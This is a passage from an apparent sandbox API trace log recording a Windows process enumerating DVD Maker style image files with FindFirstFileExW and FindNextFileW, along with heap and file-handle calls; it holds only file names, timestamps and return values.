ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0245.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fc48 [0245.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9303b0 [0245.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.281] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0245.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fc68 [0245.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9304b8 [0245.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.281] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0245.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.282] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fc88 [0245.282] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9305c0 [0245.282] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0245.282] GetLastError () returned 0x12 [0245.282] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.282] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0245.282] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0245.283] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0245.283] GetLastError () returned 0x12 [0245.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.283] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.283] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0245.284] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.284] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.284] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.284] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.284] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.284] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.284] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0245.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.284] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.284] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0245.284] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9309d8 [0245.284] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9309d8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9309d8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9309d8) returned 1 [0245.284] NtClose (Handle=0x170) returned 0x0 [0245.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.285] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.285] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.285] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.285] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.290] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.290] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.290] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.290] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.290] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0245.290] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0245.290] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.290] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, 